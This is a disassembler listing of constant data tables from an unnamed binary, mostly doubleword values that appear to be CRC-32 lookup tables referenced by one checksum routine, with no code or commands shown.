		dd 565AA786h, 4F4196C7h, 0C8D98A08h, 0D1C2BB49h, 0FAEFE88Ah
		dd 0E3F4D9CBh, 0ACB54F0Ch, 0B5AE7E4Dh, 9E832D8Eh, 87981CCFh
		dd 4AC21251h, 53D92310h, 78F470D3h, 61EF4192h, 2EAED755h
		dd 37B5E614h, 1C98B5D7h, 5838496h, 821B9859h, 9B00A918h
		dd 0B02DFADBh, 0A936CB9Ah, 0E6775D5Dh, 0FF6C6C1Ch, 0D4413FDFh
		dd 0CD5A0E9Eh, 958424A2h, 8C9F15E3h, 0A7B24620h, 0BEA97761h
		dd 0F1E8E1A6h, 0E8F3D0E7h, 0C3DE8324h, 0DAC5B265h, 5D5DAEAAh
		dd 44469FEBh, 6F6BCC28h, 7670FD69h, 39316BAEh, 202A5AEFh
		dd 0B07092Ch, 121C386Dh, 0DF4636F3h, 0C65D07B2h, 0ED705471h
		dd 0F46B6530h, 0BB2AF3F7h, 0A231C2B6h, 891C9175h, 9007A034h
		dd 179FBCFBh, 0E848DBAh, 25A9DE79h, 3CB2EF38h, 73F379FFh
		dd 6AE848BEh, 41C51B7Dh, 58DE2A3Ch, 0F0794F05h,	0E9627E44h
		dd 0C24F2D87h, 0DB541CC6h, 94158A01h, 8D0EBB40h, 0A623E883h
		dd 0BF38D9C2h, 38A0C50Dh, 21BBF44Ch, 0A96A78Fh,	138D96CEh
		dd 5CCC0009h, 45D73148h, 6EFA628Bh, 77E153CAh, 0BABB5D54h
		dd 0A3A06C15h, 888D3FD6h, 91960E97h, 0DED79850h, 0C7CCA911h
		dd 0ECE1FAD2h, 0F5FACB93h, 7262D75Ch, 6B79E61Dh, 4054B5DEh
		dd 594F849Fh, 160E1258h, 0F152319h, 243870DAh, 3D23419Bh
		dd 65FD6BA7h, 7CE65AE6h, 57CB0925h, 4ED03864h, 191AEA3h
		dd 188A9FE2h, 33A7CC21h, 2ABCFD60h, 0AD24E1AFh,	0B43FD0EEh
		dd 9F12832Dh, 8609B26Ch, 0C94824ABh, 0D05315EAh, 0FB7E4629h
		dd 0E2657768h, 2F3F79F6h, 362448B7h, 1D091B74h,	4122A35h
		dd 4B53BCF2h, 52488DB3h, 7965DE70h, 607EEF31h, 0E7E6F3FEh
		dd 0FEFDC2BFh, 0D5D0917Ch, 0CCCBA03Dh, 838A36FAh, 9A9107BBh
		dd 0B1BC5478h, 0A8A76539h, 3B83984Bh, 2298A90Ah, 9B5FAC9h
		dd 10AECB88h, 5FEF5D4Fh, 46F46C0Eh, 6DD93FCDh, 74C20E8Ch
		dd 0F35A1243h, 0EA412302h, 0C16C70C1h, 0D8774180h, 9736D747h
		dd 8E2DE606h, 0A500B5C5h, 0BC1B8484h, 71418A1Ah, 685ABB5Bh
		dd 4377E898h, 5A6CD9D9h, 152D4F1Eh, 0C367E5Fh, 271B2D9Ch
		dd 3E001CDDh, 0B9980012h, 0A0833153h, 8BAE6290h, 92B553D1h
		dd 0DDF4C516h, 0C4EFF457h, 0EFC2A794h, 0F6D996D5h, 0AE07BCE9h
		dd 0B71C8DA8h, 9C31DE6Bh, 852AEF2Ah, 0CA6B79EDh, 0D37048ACh
		dd 0F85D1B6Fh, 0E1462A2Eh, 66DE36E1h, 7FC507A0h, 54E85463h
		dd 4DF36522h, 2B2F3E5h,	1BA9C2A4h, 30849167h, 299FA026h
		dd 0E4C5AEB8h, 0FDDE9FF9h, 0D6F3CC3Ah, 0CFE8FD7Bh, 80A96BBCh
		dd 99B25AFDh, 0B29F093Eh, 0AB84387Fh, 2C1C24B0h, 350715F1h
		dd 1E2A4632h, 7317773h,	4870E1B4h, 516BD0F5h, 7A468336h
		dd 635DB277h, 0CBFAD74Eh, 0D2E1E60Fh, 0F9CCB5CCh, 0E0D7848Dh
		dd 0AF96124Ah, 0B68D230Bh, 9DA070C8h, 84BB4189h, 3235D46h
		dd 1A386C07h, 31153FC4h, 280E0E85h, 674F9842h, 7E54A903h
		dd 5579FAC0h, 4C62CB81h, 8138C51Fh, 9823F45Eh, 0B30EA79Dh
		dd 0AA1596DCh, 0E554001Bh, 0FC4F315Ah, 0D7626299h, 0CE7953D8h
		dd 49E14F17h, 50FA7E56h, 7BD72D95h, 62CC1CD4h, 2D8D8A13h
		dd 3496BB52h, 1FBBE891h, 6A0D9D0h, 5E7EF3ECh, 4765C2ADh
		dd 6C48916Eh, 7553A02Fh, 3A1236E8h, 230907A9h, 824546Ah
		dd 113F652Bh, 96A779E4h, 8FBC48A5h, 0A4911B66h,	0BD8A2A27h
		dd 0F2CBBCE0h, 0EBD08DA1h, 0C0FDDE62h, 0D9E6EF23h, 14BCE1BDh
		dd 0DA7D0FCh, 268A833Fh, 3F91B27Eh, 70D024B9h, 69CB15F8h
		dd 42E6463Bh, 5BFD777Ah, 0DC656BB5h, 0C57E5AF4h, 0EE530937h
		dd 0F7483876h, 0B809AEB1h, 0A1129FF0h, 8A3FCC33h, 9324FD72h
dword_41CAA0	dd 0			; DATA XREF: sub_40E3A1+5Dr
					; sub_40E3A1+8Er ...
		dd 1C26A37h, 384D46Eh, 246BE59h, 709A8DCh, 6CBC2EBh, 48D7CB2h
		dd 54F1685h, 0E1351B8h,	0FD13B8Fh, 0D9785D6h, 0C55EFE1h
		dd 91AF964h, 8D89353h, 0A9E2D0Ah, 0B5C473Dh, 1C26A370h
		dd 1DE4C947h, 1FA2771Eh, 1E601D29h, 1B2F0BACh, 1AED619Bh
		dd 18ABDFC2h, 1969B5F5h, 1235F2C8h, 13F798FFh, 11B126A6h
		dd 10734C91h, 153C5A14h, 14FE3023h, 16B88E7Ah, 177AE44Dh
		dd 384D46E0h, 398F2CD7h, 3BC9928Eh, 3A0BF8B9h, 3F44EE3Ch
		dd 3E86840Bh, 3CC03A52h, 3D025065h, 365E1758h, 379C7D6Fh
		dd 35DAC336h, 3418A901h, 3157BF84h, 3095D5B3h, 32D36BEAh
		dd 331101DDh, 246BE590h, 25A98FA7h, 27EF31FEh, 262D5BC9h
		dd 23624D4Ch, 22A0277Bh, 20E69922h, 2124F315h, 2A78B428h
		dd 2BBADE1Fh, 29FC6046h, 283E0A71h, 2D711CF4h, 2CB376C3h
		dd 2EF5C89Ah, 2F37A2ADh, 709A8DC0h, 7158E7F7h, 731E59AEh
		dd 72DC3399h, 7793251Ch, 76514F2Bh, 7417F172h, 75D59B45h
		dd 7E89DC78h, 7F4BB64Fh, 7D0D0816h, 7CCF6221h, 798074A4h
		dd 78421E93h, 7A04A0CAh, 7BC6CAFDh, 6CBC2EB0h, 6D7E4487h
		dd 6F38FADEh, 6EFA90E9h, 6BB5866Ch, 6A77EC5Bh, 68315202h
		dd 69F33835h, 62AF7F08h, 636D153Fh, 612BAB66h, 60E9C151h
		dd 65A6D7D4h, 6464BDE3h, 662203BAh, 67E0698Dh, 48D7CB20h
		dd 4915A117h, 4B531F4Eh, 4A917579h, 4FDE63FCh, 4E1C09CBh
		dd 4C5AB792h, 4D98DDA5h, 46C49A98h, 4706F0AFh, 45404EF6h
		dd 448224C1h, 41CD3244h, 400F5873h, 4249E62Ah, 438B8C1Dh
		dd 54F16850h, 55330267h, 5775BC3Eh, 56B7D609h, 53F8C08Ch
		dd 523AAABBh, 507C14E2h, 51BE7ED5h, 5AE239E8h, 5B2053DFh
		dd 5966ED86h, 58A487B1h, 5DEB9134h, 5C29FB03h, 5E6F455Ah
		dd 5FAD2F6Dh, 0E1351B80h, 0E0F771B7h, 0E2B1CFEEh, 0E373A5D9h
		dd 0E63CB35Ch, 0E7FED96Bh, 0E5B86732h, 0E47A0D05h, 0EF264A38h
		dd 0EEE4200Fh, 0ECA29E56h, 0ED60F461h, 0E82FE2E4h, 0E9ED88D3h
		dd 0EBAB368Ah, 0EA695CBDh, 0FD13B8F0h, 0FCD1D2C7h, 0FE976C9Eh
		dd 0FF5506A9h, 0FA1A102Ch, 0FBD87A1Bh, 0F99EC442h, 0F85CAE75h
		dd 0F300E948h, 0F2C2837Fh, 0F0843D26h, 0F1465711h, 0F4094194h
		dd 0F5CB2BA3h, 0F78D95FAh, 0F64FFFCDh, 0D9785D60h, 0D8BA3757h
		dd 0DAFC890Eh, 0DB3EE339h, 0DE71F5BCh, 0DFB39F8Bh, 0DDF521D2h
		dd 0DC374BE5h, 0D76B0CD8h, 0D6A966EFh, 0D4EFD8B6h, 0D52DB281h
		dd 0D062A404h, 0D1A0CE33h, 0D3E6706Ah, 0D2241A5Dh, 0C55EFE10h
		dd 0C49C9427h, 0C6DA2A7Eh, 0C7184049h, 0C25756CCh, 0C3953CFBh
		dd 0C1D382A2h, 0C011E895h, 0CB4DAFA8h, 0CA8FC59Fh, 0C8C97BC6h
		dd 0C90B11F1h, 0CC440774h, 0CD866D43h, 0CFC0D31Ah, 0CE02B92Dh
		dd 91AF9640h, 906DFC77h, 922B422Eh, 93E92819h, 96A63E9Ch
		dd 976454ABh, 9522EAF2h, 94E080C5h, 9FBCC7F8h, 9E7EADCFh
		dd 9C381396h, 9DFA79A1h, 98B56F24h, 99770513h, 9B31BB4Ah
		dd 9AF3D17Dh, 8D893530h, 8C4B5F07h, 8E0DE15Eh, 8FCF8B69h
		dd 8A809DECh, 8B42F7DBh, 89044982h, 88C623B5h, 839A6488h
		dd 82580EBFh, 801EB0E6h, 81DCDAD1h, 8493CC54h, 8551A663h
		dd 8717183Ah, 86D5720Dh, 0A9E2D0A0h, 0A820BA97h, 0AA6604CEh
		dd 0ABA46EF9h, 0AEEB787Ch, 0AF29124Bh, 0AD6FAC12h, 0ACADC625h
		dd 0A7F18118h, 0A633EB2Fh, 0A4755576h, 0A5B73F41h, 0A0F829C4h
		dd 0A13A43F3h, 0A37CFDAAh, 0A2BE979Dh, 0B5C473D0h, 0B40619E7h
		dd 0B640A7BEh, 0B782CD89h, 0B2CDDB0Ch, 0B30FB13Bh, 0B1490F62h
		dd 0B08B6555h, 0BBD72268h, 0BA15485Fh, 0B853F606h, 0B9919C31h
		dd 0BCDE8AB4h, 0BD1CE083h, 0BF5A5EDAh, 0BE9834EDh
dword_41CEA0	dd 0			; DATA XREF: sub_40E3A1+72r
					; sub_40E3A1+A3r ...
		dd 0B8BC6765h, 0AA09C88Bh, 12B5AFEEh, 8F629757h, 37DEF032h
		dd 256B5FDCh, 9DD738B9h, 0C5B428EFh, 7D084F8Ah,	6FBDE064h
		dd 0D7018701h, 4AD6BFB8h, 0F26AD8DDh, 0E0DF7733h, 58631056h
		dd 5019579Fh, 0E8A530FAh, 0FA109F14h, 42ACF871h, 0DF7BC0C8h
		dd 67C7A7ADh, 75720843h, 0CDCE6F26h, 95AD7F70h,	2D111815h
		dd 3FA4B7FBh, 8718D09Eh, 1ACFE827h, 0A2738F42h,	0B0C620ACh
		dd 87A47C9h, 0A032AF3Eh, 188EC85Bh, 0A3B67B5h, 0B28700D0h
		dd 2F503869h, 97EC5F0Ch, 8559F0E2h, 3DE59787h, 658687D1h
		dd 0DD3AE0B4h, 0CF8F4F5Ah, 7733283Fh, 0EAE41086h, 525877E3h
		dd 40EDD80Dh, 0F851BF68h, 0F02BF8A1h, 48979FC4h, 5A22302Ah
		dd 0E29E574Fh, 7F496FF6h, 0C7F50893h, 0D540A77Dh, 6DFCC018h
		dd 359FD04Eh, 8D23B72Bh, 9F9618C5h, 272A7FA0h, 0BAFD4719h
		dd 241207Ch, 10F48F92h,	0A848E8F7h, 9B14583Dh, 23A83F58h
		dd 311D90B6h, 89A1F7D3h, 1476CF6Ah, 0ACCAA80Fh,	0BE7F07E1h
		dd 6C36084h, 5EA070D2h,	0E61C17B7h, 0F4A9B859h,	4C15DF3Ch
		dd 0D1C2E785h, 697E80E0h, 7BCB2F0Eh, 0C377486Bh, 0CB0D0FA2h
		dd 73B168C7h, 6104C729h, 0D9B8A04Ch, 446F98F5h,	0FCD3FF90h
		dd 0EE66507Eh, 56DA371Bh, 0EB9274Dh, 0B6054028h, 0A4B0EFC6h
		dd 1C0C88A3h, 81DBB01Ah, 3967D77Fh, 2BD27891h, 936E1FF4h
		dd 3B26F703h, 839A9066h, 912F3F88h, 299358EDh, 0B4446054h
		dd 0CF80731h, 1E4DA8DFh, 0A6F1CFBAh, 0FE92DFECh, 462EB889h
		dd 549B1767h, 0EC277002h, 71F048BBh, 0C94C2FDEh, 0DBF98030h
		dd 6345E755h, 6B3FA09Ch, 0D383C7F9h, 0C1366817h, 798A0F72h
		dd 0E45D37CBh, 5CE150AEh, 4E54FF40h, 0F6E89825h, 0AE8B8873h
		dd 1637EF16h, 48240F8h,	0BC3E279Dh, 21E91F24h, 99557841h
		dd 8BE0D7AFh, 335CB0CAh, 0ED59B63Bh, 55E5D15Eh,	47507EB0h
		dd 0FFEC19D5h, 623B216Ch, 0DA874609h, 0C832E9E7h, 708E8E82h
		dd 28ED9ED4h, 9051F9B1h, 82E4565Fh, 3A58313Ah, 0A78F0983h
		dd 1F336EE6h, 0D86C108h, 0B53AA66Dh, 0BD40E1A4h, 5FC86C1h
		dd 1749292Fh, 0AFF54E4Ah, 322276F3h, 8A9E1196h,	982BBE78h
		dd 2097D91Dh, 78F4C94Bh, 0C048AE2Eh, 0D2FD01C0h, 6A4166A5h
		dd 0F7965E1Ch, 4F2A3979h, 5D9F9697h, 0E523F1F2h, 4D6B1905h
		dd 0F5D77E60h, 0E762D18Eh, 5FDEB6EBh, 0C2098E52h, 7AB5E937h
		dd 680046D9h, 0D0BC21BCh, 88DF31EAh, 3063568Fh,	22D6F961h
		dd 9A6A9E04h, 7BDA6BDh,	0BF01C1D8h, 0ADB46E36h,	15080953h
		dd 1D724E9Ah, 0A5CE29FFh, 0B77B8611h, 0FC7E174h, 9210D9CDh
		dd 2AACBEA8h, 38191146h, 80A57623h, 0D8C66675h,	607A0110h
		dd 72CFAEFEh, 0CA73C99Bh, 57A4F122h, 0EF189647h, 0FDAD39A9h
		dd 45115ECCh, 764DEE06h, 0CEF18963h, 0DC44268Dh, 64F841E8h
		dd 0F92F7951h, 41931E34h, 5326B1DAh, 0EB9AD6BFh, 0B3F9C6E9h
		dd 0B45A18Ch, 19F00E62h, 0A14C6907h, 3C9B51BEh,	842736DBh
		dd 96929935h, 2E2EFE50h, 2654B999h, 9EE8DEFCh, 8C5D7112h
		dd 34E11677h, 0A9362ECEh, 118A49ABh, 33FE645h, 0BB838120h
		dd 0E3E09176h, 5B5CF613h, 49E959FDh, 0F1553E98h, 6C820621h
		dd 0D43E6144h, 0C68BCEAAh, 7E37A9CFh, 0D67F4138h, 6EC3265Dh
		dd 7C7689B3h, 0C4CAEED6h, 591DD66Fh, 0E1A1B10Ah, 0F3141EE4h
		dd 4BA87981h, 13CB69D7h, 0AB770EB2h, 0B9C2A15Ch, 17EC639h
		dd 9CA9FE80h, 241599E5h, 36A0360Bh, 8E1C516Eh, 866616A7h
		dd 3EDA71C2h, 2C6FDE2Ch, 94D3B949h, 90481F0h, 0B1B8E695h
		dd 0A30D497Bh, 1BB12E1Eh, 43D23E48h, 0FB6E592Dh, 0E9DBF6C3h
		dd 516791A6h, 0CCB0A91Fh, 740CCE7Ah, 66B96194h,	0DE0506F1h
		dd 0
		dd 96300777h, 2C610EEEh, 0BA510999h, 19C46D07h,	8FF46A70h
		dd 35A563E9h, 0A395649Eh, 3288DB0Eh, 0A4B8DC79h, 1EE9D5E0h
		dd 88D9D297h, 2B4CB609h, 0BD7CB17Eh, 72DB8E7h, 911DBF90h
		dd 6410B71Dh, 0F220B06Ah, 4871B9F3h, 0DE41BE84h, 7DD4DA1Ah
		dd 0EBE4DD6Dh, 51B5D4F4h, 0C785D383h, 56986C13h, 0C0A86B64h
		dd 7AF962FDh, 0ECC9658Ah, 4F5C0114h, 0D96C0663h, 633D0FFAh
		dd 0F50D088Dh, 0C8206E3Bh, 5E10694Ch, 0E44160D5h, 727167A2h
		dd 0D1E4033Ch, 47D4044Bh, 0FD850DD2h, 6BB50AA5h, 0FAA8B535h
		dd 6C98B242h, 0D6C9BBDBh, 40F9BCACh, 0E36CD832h, 755CDF45h
		dd 0CF0DD6DCh, 593DD1ABh, 0AC30D926h, 3A00DE51h, 8051D7C8h
		dd 1661D0BFh, 0B5F4B421h, 23C4B356h, 9995BACFh,	0FA5BDB8h
		dd 9EB80228h, 888055Fh,	0B2D90CC6h, 24E90BB1h, 877C6F2Fh
		dd 114C6858h, 0AB1D61C1h, 3D2D66B6h, 9041DC76h,	671DB01h
		dd 0BC20D298h, 2A10D5EFh, 8985B171h, 1FB5B606h,	0A5E4BF9Fh
		dd 33D4B8E8h, 0A2C90778h, 34F9000Fh, 8EA80996h,	18980EE1h
		dd 0BB0D6A7Fh, 2D3D6D08h, 976C6491h, 15C63E6h, 0F4516B6Bh
		dd 62616C1Ch, 0D8306585h, 4E0062F2h, 0ED95066Ch, 7BA5011Bh
		dd 0C1F40882h, 57C40FF5h, 0C6D9B065h, 50E9B712h, 0EAB8BE8Bh
		dd 7C88B9FCh, 0DF1DDD62h, 492DDA15h, 0F37CD38Ch, 654CD4FBh
		dd 5861B24Dh, 0CE51B53Ah, 7400BCA3h, 0E230BBD4h, 41A5DF4Ah
		dd 0D795D83Dh, 6DC4D1A4h, 0FBF4D6D3h, 6AE96943h, 0FCD96E34h
		dd 468867ADh, 0D0B860DAh, 732D0444h, 0E51D0333h, 5F4C0AAAh
		dd 0C97C0DDDh, 3C710550h, 0AA410227h, 10100BBEh, 86200CC9h
		dd 25B56857h, 0B3856F20h, 9D466B9h, 9FE461CEh, 0EF9DE5Eh
		dd 98C9D929h, 2298D0B0h, 0B4A8D7C7h, 173DB359h,	810DB42Eh
		dd 3B5CBDB7h, 0AD6CBAC0h, 2083B8EDh, 0B6B3BF9Ah, 0CE2B603h
		dd 9AD2B174h, 3947D5EAh, 0AF77D29Dh, 1526DB04h,	8316DC73h
		dd 120B63E3h, 843B6494h, 3E6A6D0Dh, 0A85A6A7Ah,	0BCF0EE4h
		dd 9DFF0993h, 27AE000Ah, 0B19E077Dh, 44930FF0h,	0D2A30887h
		dd 68F2011Eh, 0FEC20669h, 5D5762F7h, 0CB676580h, 71366C19h
		dd 0E7066B6Eh, 761BD4FEh, 0E02BD389h, 5A7ADA10h, 0CC4ADD67h
		dd 6FDFB9F9h, 0F9EFBE8Eh, 43BEB717h, 0D58EB060h, 0E8A3D6D6h
		dd 7E93D1A1h, 0C4C2D838h, 52F2DF4Fh, 0F167BBD1h, 6757BCA6h
		dd 0DD06B53Fh, 4B36B248h, 0DA2B0DD8h, 4C1B0AAFh, 0F64A0336h
		dd 607A0441h, 0C3EF60DFh, 55DF67A8h, 0EF8E6E31h, 79BE6946h
		dd 8CB361CBh, 1A8366BCh, 0A0D26F25h, 36E26852h,	95770CCCh
		dd 3470BBBh, 0B9160222h, 2F260555h, 0BE3BBAC5h,	280BBDB2h
		dd 925AB42Bh, 46AB35Ch,	0A7FFD7C2h, 31CFD0B5h, 8B9ED92Ch
		dd 1DAEDE5Bh, 0B0C2649Bh, 26F263ECh, 9CA36A75h,	0A936D02h
		dd 0A906099Ch, 3F360EEBh, 85670772h, 13570005h,	824ABF95h
		dd 147AB8E2h, 0AE2BB17Bh, 381BB60Ch, 9B8ED292h,	0DBED5E5h
		dd 0B7EFDC7Ch, 21DFDB0Bh, 0D4D2D386h, 42E2D4F1h, 0F8B3DD68h
		dd 6E83DA1Fh, 0CD16BE81h, 5B26B9F6h, 0E177B06Fh, 7747B718h
		dd 0E65A0888h, 706A0FFFh, 0CA3B0666h, 5C0B0111h, 0FF9E658Fh
		dd 69AE62F8h, 0D3FF6B61h, 45CF6C16h, 78E20AA0h,	0EED20DD7h
		dd 5483044Eh, 0C2B30339h, 612667A7h, 0F71660D0h, 4D476949h
		dd 0DB776E3Eh, 4A6AD1AEh, 0DC5AD6D9h, 660BDF40h, 0F03BD837h
		dd 53AEBCA9h, 0C59EBBDEh, 7FCFB247h, 0E9FFB530h, 1CF2BDBDh
		dd 8AC2BACAh, 3093B353h, 0A6A3B424h, 536D0BAh, 9306D7CDh
		dd 2957DE54h, 0BF67D923h, 2E7A66B3h, 0B84A61C4h, 21B685Dh
		dd 942B6F2Ah, 37BE0BB4h, 0A18E0CC3h, 1BDF055Ah,	8DEF022Dh
		dd 0
		dd 41311B19h, 82623632h, 0C3532D2Bh, 4C56C64h, 45F4777Dh
		dd 86A75A56h, 0C796414Fh, 88AD9C8h, 49BBC2D1h, 8AE8EFFAh
		dd 0CBD9F4E3h, 0C4FB5ACh, 4D7EAEB5h, 8E2D839Eh,	0CF1C9887h
		dd 5112C24Ah, 1023D953h, 0D370F478h, 9241EF61h,	55D7AE2Eh
		dd 14E6B537h, 0D7B5981Ch, 96848305h, 59981B82h,	18A9009Bh
		dd 0DBFA2DB0h, 9ACB36A9h, 5D5D77E6h, 1C6C6CFFh,	0DF3F41D4h
		dd 9E0E5ACDh, 0A2248495h, 0E3159F8Ch, 2046B2A7h, 6177A9BEh
		dd 0A6E1E8F1h, 0E7D0F3E8h, 2483DEC3h, 65B2C5DAh, 0AAAE5D5Dh
		dd 0EB9F4644h, 28CC6B6Fh, 69FD7076h, 0AE6B3139h, 0EF5A2A20h
		dd 2C09070Bh, 6D381C12h, 0F33646DFh, 0B2075DC6h, 715470EDh
		dd 30656BF4h, 0F7F32ABBh, 0B6C231A2h, 75911C89h, 34A00790h
		dd 0FBBC9F17h, 0BA8D840Eh, 79DEA925h, 38EFB23Ch, 0FF79F373h
		dd 0BE48E86Ah, 7D1BC541h, 3C2ADE58h, 54F79F0h, 447E62E9h
		dd 872D4FC2h, 0C61C54DBh, 18A1594h, 40BB0E8Dh, 83E823A6h
		dd 0C2D938BFh, 0DC5A038h, 4CF4BB21h, 8FA7960Ah,	0CE968D13h
		dd 900CC5Ch, 4831D745h,	8B62FA6Eh, 0CA53E177h, 545DBBBAh
		dd 156CA0A3h, 0D63F8D88h, 970E9691h, 5098D7DEh,	11A9CCC7h
		dd 0D2FAE1ECh, 93CBFAF5h, 5CD76272h, 1DE6796Bh,	0DEB55440h
		dd 9F844F59h, 58120E16h, 1923150Fh, 0DA703824h,	9B41233Dh
		dd 0A76BFD65h, 0E65AE67Ch, 2509CB57h, 6438D04Eh, 0A3AE9101h
		dd 0E29F8A18h, 21CCA733h, 60FDBC2Ah, 0AFE124ADh, 0EED03FB4h
		dd 2D83129Fh, 6CB20986h, 0AB2448C9h, 0EA1553D0h, 29467EFBh
		dd 687765E2h, 0F6793F2Fh, 0B7482436h, 741B091Dh, 352A1204h
		dd 0F2BC534Bh, 0B38D4852h, 70DE6579h, 31EF7E60h, 0FEF3E6E7h
		dd 0BFC2FDFEh, 7C91D0D5h, 3DA0CBCCh, 0FA368A83h, 0BB07919Ah
		dd 7854BCB1h, 3965A7A8h, 4B98833Bh, 0AA99822h, 0C9FAB509h
		dd 88CBAE10h, 4F5DEF5Fh, 0E6CF446h, 0CD3FD96Dh,	8C0EC274h
		dd 43125AF3h, 22341EAh,	0C1706CC1h, 804177D8h, 47D73697h
		dd 6E62D8Eh, 0C5B500A5h, 84841BBCh, 1A8A4171h, 5BBB5A68h
		dd 98E87743h, 0D9D96C5Ah, 1E4F2D15h, 5F7E360Ch,	9C2D1B27h
		dd 0DD1C003Eh, 120098B9h, 533183A0h, 9062AE8Bh,	0D153B592h
		dd 16C5F4DDh, 57F4EFC4h, 94A7C2EFh, 0D596D9F6h,	0E9BC07AEh
		dd 0A88D1CB7h, 6BDE319Ch, 2AEF2A85h, 0ED796BCAh, 0AC4870D3h
		dd 6F1B5DF8h, 2E2A46E1h, 0E136DE66h, 0A007C57Fh, 6354E854h
		dd 2265F34Dh, 0E5F3B202h, 0A4C2A91Bh, 67918430h, 26A09F29h
		dd 0B8AEC5E4h, 0F99FDEFDh, 3ACCF3D6h, 7BFDE8CFh, 0BC6BA980h
		dd 0FD5AB299h, 3E099FB2h, 7F3884ABh, 0B0241C2Ch, 0F1150735h
		dd 32462A1Eh, 73773107h, 0B4E17048h, 0F5D06B51h, 3683467Ah
		dd 77B25D63h, 4ED7FACBh, 0FE6E1D2h, 0CCB5CCF9h,	8D84D7E0h
		dd 4A1296AFh, 0B238DB6h, 0C870A09Dh, 8941BB84h,	465D2303h
		dd 76C381Ah, 0C43F1531h, 850E0E28h, 42984F67h, 3A9547Eh
		dd 0C0FA7955h, 81CB624Ch, 1FC53881h, 5EF42398h,	9DA70EB3h
		dd 0DC9615AAh, 1B0054E5h, 5A314FFCh, 996262D7h,	0D85379CEh
		dd 174FE149h, 567EFA50h, 952DD77Bh, 0D41CCC62h,	138A8D2Dh
		dd 52BB9634h, 91E8BB1Fh, 0D0D9A006h, 0ECF37E5Eh, 0ADC26547h
		dd 6E91486Ch, 2FA05375h, 0E836123Ah, 0A9070923h, 6A542408h
		dd 2B653F11h, 0E479A796h, 0A548BC8Fh, 661B91A4h, 272A8ABDh
		dd 0E0BCCBF2h, 0A18DD0EBh, 62DEFDC0h, 23EFE6D9h, 0BDE1BC14h
		dd 0FCD0A70Dh, 3F838A26h, 7EB2913Fh, 0B924D070h, 0F815CB69h
		dd 3B46E642h, 7A77FD5Bh, 0B56B65DCh, 0F45A7EC5h, 370953EEh
		dd 763848F7h, 0B1AE09B8h, 0F09F12A1h, 33CC3F8Ah, 72FD2493h
		dd 0
		dd 376AC201h, 6ED48403h, 59BE4602h, 0DCA80907h,	0EBC2CB06h
		dd 0B27C8D04h, 85164F05h, 0B851130Eh, 8F3BD10Fh, 0D685970Dh
		dd 0E1EF550Ch, 64F91A09h, 5393D808h, 0A2D9E0Ah,	3D475C0Bh
		dd 70A3261Ch, 47C9E41Dh, 1E77A21Fh, 291D601Eh, 0AC0B2F1Bh
		dd 9B61ED1Ah, 0C2DFAB18h, 0F5B56919h, 0C8F23512h, 0FF98F713h
		dd 0A626B111h, 914C7310h, 145A3C15h, 2330FE14h,	7A8EB816h
		dd 4DE47A17h, 0E0464D38h, 0D72C8F39h, 8E92C93Bh, 0B9F80B3Ah
		dd 3CEE443Fh, 0B84863Eh, 523AC03Ch, 6550023Dh, 58175E36h
		dd 6F7D9C37h, 36C3DA35h, 1A91834h, 84BF5731h, 0B3D59530h
		dd 0EA6BD332h, 0DD011133h, 90E56B24h, 0A78FA925h, 0FE31EF27h
		dd 0C95B2D26h, 4C4D6223h, 7B27A022h, 2299E620h,	15F32421h
		dd 28B4782Ah, 1FDEBA2Bh, 4660FC29h, 710A3E28h, 0F41C712Dh
		dd 0C376B32Ch, 9AC8F52Eh, 0ADA2372Fh, 0C08D9A70h, 0F7E75871h
		dd 0AE591E73h, 9933DC72h, 1C259377h, 2B4F5176h,	72F11774h
		dd 459BD575h, 78DC897Eh, 4FB64B7Fh, 16080D7Dh, 2162CF7Ch
		dd 0A4748079h, 931E4278h, 0CAA0047Ah, 0FDCAC67Bh, 0B02EBC6Ch
		dd 87447E6Dh, 0DEFA386Fh, 0E990FA6Eh, 6C86B56Bh, 5BEC776Ah
		dd 2523168h, 3538F369h,	87FAF62h, 3F156D63h, 66AB2B61h
		dd 51C1E960h, 0D4D7A665h, 0E3BD6464h, 0BA032266h, 8D69E067h
		dd 20CBD748h, 17A11549h, 4E1F534Bh, 7975914Ah, 0FC63DE4Fh
		dd 0CB091C4Eh, 92B75A4Ch, 0A5DD984Dh, 989AC446h, 0AFF00647h
		dd 0F64E4045h, 0C1248244h, 4432CD41h, 73580F40h, 2AE64942h
		dd 1D8C8B43h, 5068F154h, 67023355h, 3EBC7557h, 9D6B756h
		dd 8CC0F853h, 0BBAA3A52h, 0E2147C50h, 0D57EBE51h, 0E839E25Ah
		dd 0DF53205Bh, 86ED6659h, 0B187A458h, 3491EB5Dh, 3FB295Ch
		dd 5A456F5Eh, 6D2FAD5Fh, 801B35E1h, 0B771F7E0h,	0EECFB1E2h
		dd 0D9A573E3h, 5CB33CE6h, 6BD9FEE7h, 3267B8E5h,	50D7AE4h
		dd 384A26EFh, 0F20E4EEh, 569EA2ECh, 61F460EDh, 0E4E22FE8h
		dd 0D388EDE9h, 8A36ABEBh, 0BD5C69EAh, 0F0B813FDh, 0C7D2D1FCh
		dd 9E6C97FEh, 0A90655FFh, 2C101AFAh, 1B7AD8FBh,	42C49EF9h
		dd 75AE5CF8h, 48E900F3h, 7F83C2F2h, 263D84F0h, 115746F1h
		dd 944109F4h, 0A32BCBF5h, 0FA958DF7h, 0CDFF4FF6h, 605D78D9h
		dd 5737BAD8h, 0E89FCDAh, 39E33EDBh, 0BCF571DEh,	8B9FB3DFh
		dd 0D221F5DDh, 0E54B37DCh, 0D80C6BD7h, 0EF66A9D6h, 0B6D8EFD4h
		dd 81B22DD5h, 4A462D0h,	33CEA0D1h, 6A70E6D3h, 5D1A24D2h
		dd 10FE5EC5h, 27949CC4h, 7E2ADAC6h, 494018C7h, 0CC5657C2h
		dd 0FB3C95C3h, 0A282D3C1h, 95E811C0h, 0A8AF4DCBh, 9FC58FCAh
		dd 0C67BC9C8h, 0F1110BC9h, 740744CCh, 436D86CDh, 1AD3C0CFh
		dd 2DB902CEh, 4096AF91h, 77FC6D90h, 2E422B92h, 1928E993h
		dd 9C3EA696h, 0AB546497h, 0F2EA2295h, 0C580E094h, 0F8C7BC9Fh
		dd 0CFAD7E9Eh, 9613389Ch, 0A179FA9Dh, 246FB598h, 13057799h
		dd 4ABB319Bh, 7DD1F39Ah, 3035898Dh, 75F4B8Ch, 5EE10D8Eh
		dd 698BCF8Fh, 0EC9D808Ah, 0DBF7428Bh, 82490489h, 0B523C688h
		dd 88649A83h, 0BF0E5882h, 0E6B01E80h, 0D1DADC81h, 54CC9384h
		dd 63A65185h, 3A181787h, 0D72D586h, 0A0D0E2A9h,	97BA20A8h
		dd 0CE0466AAh, 0F96EA4ABh, 7C78EBAEh, 4B1229AFh, 12AC6FADh
